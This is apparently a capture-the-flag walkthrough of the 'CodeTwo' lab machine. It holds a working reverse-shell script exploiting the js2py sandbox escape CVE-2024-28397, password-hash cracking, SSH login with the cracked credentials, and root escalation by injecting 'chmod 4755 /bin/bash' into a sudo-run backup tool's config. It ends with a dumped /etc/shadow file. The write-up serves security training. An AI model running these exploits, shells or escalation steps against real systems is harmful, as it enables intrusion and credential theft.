• Initial scans
$ export IP=10.129.232.59
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open  http    syn-ack Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
$ echo "$IP codetwo.htb" | sudo tee -a /etc/hosts
  • gobuster scans reveal some endpoints
$ gobuster dir -u http://codetwo.htb:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100
 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://codetwo.htb:8000/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 667]
/download             (Status: 200) [Size: 10696]
/register             (Status: 200) [Size: 651]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 199] [--> /login]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================

  • Download the app to reveal some important source code
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
 
js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
 
*snip*
  • CVE-2024-28397 PoC - js2py sandbox escape script
  • We just need the payload, modified to our needs
  • Since this payload can be used within the code editor in browser, we can simply curl the payload
  • Here is a script to get revshell through the /run_code endpoint

pwn.sh

#!/bin/bash
 
LHOST=""
LPORT=""
 
curl -s -X POST -H "Content-Type: application/json" \
-d "{\"code\": \"let cmd = \\\"bash -c 'bash -i >&/dev/tcp/$LHOST/$LPORT 0>&1'\\\"; let hacked, bymarve, n11; let getattr, obj; hacked = Object.getOwnPropertyNames({}); bymarve = hacked.__getattribute__; n11 = bymarve(\\\"__getattribute__\\\"); obj = n11(\\\"__class__\\\").__base__; getattr = obj.__getattribute__; function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i]; if(item.__module__ == \\\"subprocess\\\" && item.__name__ == \\\"Popen\\\") { return item } if(item.__name__ != \\\"type\\\" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); n11\"}" \
http://codetwo.htb:8000/run_code > /dev/null &
  • Make executable start listener catch shell
$ chmod +x pwn.sh
 
$ nc -lvnp 6969 & ./pwn.sh && fg %1
 
[1] 21050
listening on [any] 6969 ...
[1]  + 21050 running    nc -lvnp 6969
connect to [10.10.14.170] from (UNKNOWN) [10.129.232.59] 51542
bash: cannot set terminal process group (882): Inappropriate ioctl for device
bash: no job control in this shell
 
app@codetwo:~/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)

User

  • We find a database in /home/app/app/instance
app@codetwo:~/app$ sqlite3 instance/users.db -header -column "SELECT username, password_hash FROM user;"
 
username    password_hash
----------  --------------------------------
marco       649c9d65a206a75f5abe509fe128bce5
app         a97588c0e2fa3a024876339e27aeb42e
  • Crack hash for marco
$ hashcat -m 0 -a 0 "649c9d65a206a75f5abe509fe128bce5" /usr/share/wordlists/rockyou.txt
 
649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove

Creds

marco : sweetangelbabylove

  • SSH in as marco
$ sshpass -p 'sweetangelbabylove' ssh marco@$IP
 
marco@codetwo:~$ ls
backups  npbackup.conf  user.txt
 
marco@codetwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
 
marco@codetwo:~$ sudo -l
 
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Root

  • Investigating the existing npbackup.conf we see interesting parameters
  • pre_exec_commands: [] & post_exec_commands: []
  • Copy the existing conf to new one for editing
  • Add commands to be executed as root into pre_exec_commands (any method you want)
marco@codetwo:~$ cp npbackup.conf root.conf
 
marco@codetwo:~$ nano root.conf
*snip*
 
pre_exec_commands: "chmod 4755 /bin/bash" # Add whatever cmd here you want to execute as root
  • Execute the npbackup-cli with necessary flags
marco@codetwo:~$ sudo /usr/local/bin/npbackup-cli -c root.conf -b
 
*snip*
 
:: INFO :: Pre-execution of command chmod 4755 /bin/bash succeeded with:
None
 
*snip*
  • We can check perms on /bin/bash now
marco@codetwo:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
  • Globally accessible to anyone, so simply spawn root shell
marco@codetwo:~$ /bin/bash -p
 
bash-5.0$ id
uid=1000(marco) gid=1000(marco) euid=0(root) groups=1000(marco),1003(backups)
 
bash-5.0$ cat /root/root.txt
0172f00e77198ac7afdc00312fb79eca
 
bash-5.0$ cat /etc/shadow
 
root:$6$UM1RuabUYlt5BQ5q$ZtzAfYOaCaFxA8MGbyH1hegFpzQmJrpIkx7vEIKvXoVl830AXAx1Hgh8r11GlpXgY25LK8wF76nvQYQ1wLSn71:20104:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:20010:0:99999:7:::
sshd:*:20010:0:99999:7:::
systemd-coredump:!!:20016::::::
marco:$6$i5xRI7UVqeBITIby$NQKHXVvAWz7Vl3QkEwgxw0ItF9Lwen4gGCBi.YYiDQTdkgcPABaqfmBzheAM/9JA/9J7szqDzPaIDbkNqc.0V.:20022:0:99999:7:::
lxd:!:20016::::::
app:$6$5iH3Zik78QR8t9Se$bgRAig/YjbMzwOTFME629sLrrTn2avVD9pLFwz0X2zBTz0LYfNIEuw6w5s53NNu2K7IeEJK4D6j9PB6SR.UvC0:20022:0:99999:7:::
mysql:!:20026:0:99999:7:::
_laurel:!:20256::::::